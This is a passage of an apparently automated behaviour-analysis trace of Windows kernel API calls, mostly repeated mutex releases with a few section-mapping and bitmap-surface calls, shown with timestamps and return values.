() returned 0xffffe000015af200 [0142.919] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.919] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.919] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.919] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.919] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.919] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.919] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.919] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.919] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.919] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.920] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.920] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.920] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.920] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.920] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.920] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.920] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.920] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.920] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.920] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.920] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.920] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.921] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.921] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.921] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.921] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.921] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.921] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.921] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.921] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.921] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.921] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.921] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.921] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.921] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.921] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.922] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.922] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.922] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.922] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.922] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.922] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.922] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.922] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.922] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.922] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.922] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.922] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.922] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.922] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.922] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.922] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.922] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.923] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.923] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.923] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.923] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.923] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.923] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.923] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.923] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.923] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.923] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.934] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.934] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.934] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.934] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.934] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.934] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.934] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.934] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.934] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.934] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.934] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.934] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.934] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.935] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.935] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.935] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.935] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.935] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.935] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.935] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.935] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.935] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.935] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.935] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.935] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.935] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.935] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.936] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.936] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.936] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.936] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.936] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.936] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.936] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.936] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.937] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.937] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.937] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.937] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.937] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.937] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.938] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.938] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.938] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.983] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.983] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.983] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.994] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.994] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.994] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.994] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.994] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.994] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.994] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.995] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.995] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.995] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.995] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.995] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.995] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.995] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.995] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.996] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.996] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.996] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.996] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.996] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.996] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.996] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.997] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.997] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.997] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.997] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.997] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.997] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.997] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.997] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.998] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.998] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.998] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.998] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.998] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.998] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.052] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.052] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0143.052] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.052] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.052] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0143.052] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.121] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.121] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0143.121] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.121] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.121] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0143.121] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.180] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.180] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0143.180] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.180] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.180] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0143.180] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.180] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.180] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0143.180] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.180] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.180] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0143.180] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.181] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.181] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0143.181] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.181] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.181] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0143.181] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.181] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.181] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0143.181] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.181] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.181] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0143.181] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.182] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.182] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0143.182] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.182] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.182] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0143.182] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.249] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.249] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0143.249] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.249] EngAllocMem () returned 0xfffff90142521030 [0143.249] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.249] MmMapViewOfSection (in: SectionObject=0xffffc00001a21060, Process=0xffffe000015af200, BaseAddress=0xfffff90142521358*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0xffffd00021b26ed0, ViewSize=0xfffff90142521370, InheritDisposition=0xfffff90100000001, AllocationType=0x0, Protect=0x4 | out: BaseAddress=0xfffff90142521358*=0x2fb9900000, SectionOffset=0xffffd00021b26ed0, ViewSize=0xfffff90142521370) returned 0x0 [0143.249] EngCreateBitmap () returned 0xffffffffc405055a [0143.249] EngAssociateSurface () returned 0x1 [0143.249] EngLockSurface () returned 0xfffff901409b2658 [0143.249] ExAllocatePoolWithTag (PoolType=0x200, NumberOfBytes=0x38, Tag=0x64646344) returned 0xffffe000000e90e0 [0143.249] KeInitializeEvent (in: Event=0xffffe000000e90f8, Type=0x1, State=0 | out: Event=0xffffe000000e90f8) [0143.249] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.250] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000000e90e0) [0143.250] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.283] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.283] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000000e90e0) [0143.283] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.283] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.283] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000000e90e0) [0143.283] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.284] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.284] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000000e90e0) [0143.284] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.284] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.284] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000000e90e0) [0143.284] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.284] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.284] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000000e90e0) [0143.284] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.284] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.284] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000000e90e0) [0143.284] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.284] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.285] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000000e90e0) [0143.285] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.288] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.289] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0143.289] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.350] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.350] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0143.350] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.350] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.351] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0143.351] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.416] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.416] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0143.416] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.416] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.416] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0143.417] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.464] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.464] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000000e90e0) [0143.464] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.477] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.477] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0143.477] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.477] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.478] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0143.478] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.525] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.525] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000000e90e0) [0143.526] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.526] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.526] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000000e90e0) [0143.526] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.540] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.541] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0143.541] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.541] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.541] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0143.542] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.595] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.595] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000000e90e0) [0143.595] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.595] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.595] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000000e90e0) [0143.595] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.597] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.598] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0143.598] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.598] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.598] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0143.598] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.647] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.647] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000000e90e0) [0143.647] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.647] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.647] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000000e90e0) [0143.647] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.663] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.664] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0143.664] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.664] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.664] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0143.664] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.686] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.686] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0143.686] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.714] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.714] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0143.714] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.714] EngAllocMem () returned 0xfffff901424f3360 [0143.714] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.714] MmMapViewOfSection (in: SectionObject=0xffffc00000f02460, Process=0xffffe000015af200, BaseAddress=0xfffff901424f3688*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0xffffd00021b26ed0, ViewSize=0xfffff901424f36a0, InheritDisposition=0xfffff90100000001, AllocationType=0x0, Protect=0x4 | out: BaseAddress=0xfffff901424f3688*=0x2fb9950000, SectionOffset=0xffffd00021b26ed0, ViewSize=0xfffff901424f36a0) returned 0x0 [0143.714] EngCreateBitmap () returned 0x33050704 [0143.714] EngAssociateSurface () returned 0x1 [0143.714] EngLockSurface () returned 0xfffff901409baad8 [0143.714] ExAllocatePoolWithTag (PoolType=0x200, NumberOfBytes=0x38, Tag=0x64646344) returned 0xffffe000011e83f0 [0143.715] KeInitializeEvent (in: Event=0xffffe000011e8408, Type=0x1, State=0 | out: Event=0xffffe000011e8408) [0143.715] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.715] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011e83f0) [0143.715] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.716] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.716] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011e83f0) [0143.716] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.716] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.716] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011e83f0) [0143.716] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.716] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.717] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011e83f0) [0143.717] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.717] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.717] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011e83f0) [0143.717] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.717] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.717] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011e83f0) [0143.717] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.717] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.717] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011e83f0) [0143.717] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.717] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.717] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion 